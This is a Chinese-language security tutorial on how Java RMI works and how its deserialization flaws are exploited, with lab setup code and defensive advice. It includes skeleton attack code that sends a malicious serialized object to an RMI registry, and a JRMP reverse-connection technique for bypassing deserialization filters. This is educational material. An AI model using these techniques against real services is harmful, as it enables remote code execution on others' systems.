RMI 工作原理及反序列化知识学习
字数 1531 2025-08-22 12:23:36
RMI 工作原理及反序列化漏洞分析
一、RMI 基础概念
RMI (Remote Method Invocation) 是 Java 提供的远程方法调用机制,它允许运行在一个 Java 虚拟机上的对象调用运行在另一个 Java 虚拟机上的对象的方法。RMI 的核心是通过 socket 编程、Java 序列化和反序列化、动态代理等技术实现的。
RMI 核心组件
- 注册中心 (Registry): 负责服务的注册和查找
- 服务端 (Server): 提供远程服务实现
- 客户端 (Client): 调用远程服务
二、RMI 通信流程分析
1. 注册中心启动流程
Registry registry = LocateRegistry.createRegistry(1099);
关键类调用链:
LocateRegistry.createRegistry()RegistryImpl.class创建UnicastServerRef.class初始化LiveRef.class存储 ObjID 和 TCPEndpointTCPTransport.class创建 ServerSocket 监听端口
核心处理在 TCPTransport$AcceptLoop 线程中,不断接受连接并交给 ConnectionHandler 处理。
2. 服务端注册服务流程
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
ServiceImpl service = new ServiceImpl();
registry.bind("vince", service);
关键步骤:
- 通过
LocateRegistry.getRegistry()获取 Registry 代理对象 (RegistryImpl_Stub) - 调用
bind()方法时:- 创建 socket 连接注册中心
- 写入传输头信息 (Int:1246907721, Short:2)
- 写入方法调用信息 (方法编号、参数等)
- 注册中心反序列化参数并处理
3. 客户端调用流程
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IService service = (IService) registry.lookup("vince");
String result = service.queryName("jack");
关键步骤:
- 通过
lookup()获取远程服务代理 - 调用方法时:
- 新建 socket 连接服务端
- 写入方法调用信息 (Int:-1, Long:方法hash)
- 服务端通过反射执行本地方法并返回结果
三、RMI 反序列化漏洞分析
1. 漏洞原理
RMI 通信过程中,所有参数和返回值都通过 Java 序列化/反序列化传输。攻击者可以构造恶意序列化数据,在反序列化时触发远程代码执行。
关键反序列化点:
- 注册中心处理
bind()、lookup()等方法时 - 服务端处理远程方法调用时
- 客户端接收返回值时
2. 漏洞利用方式
方式一:直接攻击注册中心
构造恶意序列化数据发送给注册中心:
Socket socket = new Socket("127.0.0.1", 1099);
DataOutputStream dos = new DataOutputStream(socket.getOutputStream());
dos.writeInt(1246907721);
dos.writeShort(2);
dos.writeByte(75);
dos.flush();
// ... 构造恶意序列化数据 ...
oos.writeObject(generatePayload()); // 写入恶意对象
方式二:JRMP 反向连接
当目标存在反序列化防御时,可以利用 JRMP 反向连接绕过:
- 攻击者开启 JRMPListener 服务
- 向目标发送
RemoteObjectInvocationHandler序列化对象 - 目标反序列化后会连接攻击者的 JRMPListener
- 攻击者发送二次攻击载荷
// 攻击者 JRMPListener
ServerSocket ss = new ServerSocket(8899);
Socket s = ss.accept();
// ... 处理连接并发送payload ...
// 发送给目标的恶意对象
public static Remote generate(){
ObjID oi = new ObjID(0);
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 8899);
LiveRef lr = new LiveRef(oi, te, false);
UnicastRef us = new UnicastRef(lr);
RemoteObjectInvocationHandler roih = new RemoteObjectInvocationHandler(us);
Remote rm = (Remote) Proxy.newProxyInstance(Client.class.getClassLoader(),
new Class[]{Remote.class}, roih);
return rm;
}
3. JDK 防御机制
从 JDK 8u121 开始引入了白名单机制,在反序列化时会调用 registryFilter 方法检查类是否允许:
// sun.rmi.registry.RegistryImpl
private static Status registryFilter(FilterInfo var0) {
if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
String var1 = var0.serialClass().getName();
if (var1.startsWith("java.rmi.server") ||
var1.startsWith("[Ljava.rmi.server") ||
var1.equals("java.util.Arrays$ArrayList")) {
return Status.ALLOWED;
} else {
return var0.serialClass().isArray() ? Status.UNDECIDED : Status.REJECTED;
}
}
}
四、漏洞防御建议
- 升级 JDK 到最新版本
- 对 RMI 服务进行网络隔离
- 使用安全管理器配置严格的权限
- 替换 Java 默认的序列化机制
- 对 RMI 端口进行访问控制
五、实验环境搭建
1. 基础 RMI 服务搭建
远程接口定义:
public interface IService extends Remote {
public String queryName(String no) throws RemoteException;
}
服务实现:
public class ServiceImpl extends UnicastRemoteObject implements IService {
public ServiceImpl() throws RemoteException {}
@Override
public String queryName(String no) throws RemoteException {
System.out.println("hello " + no);
return String.valueOf(System.currentTimeMillis());
}
}
注册中心:
public class register {
public static void main(String[] args) {
Registry registry = null;
try {
registry = LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while(true);
}
}
服务端:
public class Server {
public static void main(String[] args) {
Registry registry = null;
try {
registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
ServiceImpl service = new ServiceImpl();
registry.bind("vince", service);
} catch (Exception e) {
e.printStackTrace();
}
}
}
客户端:
public class Client {
public static void main(String[] args) {
Registry registry = null;
try {
registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IService service = (IService) registry.lookup("vince");
String result = service.queryName("jack");
System.out.println("result from remote : " + result);
} catch (Exception e) {
e.printStackTrace();
}
}
}
六、总结
RMI 反序列化漏洞是 Java 安全中的一个重要攻击面,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。理解 RMI 的通信机制和序列化过程对于防御此类攻击至关重要。在实际应用中,应当采取多层次的防御措施,包括及时更新补丁、限制网络访问、使用安全配置等。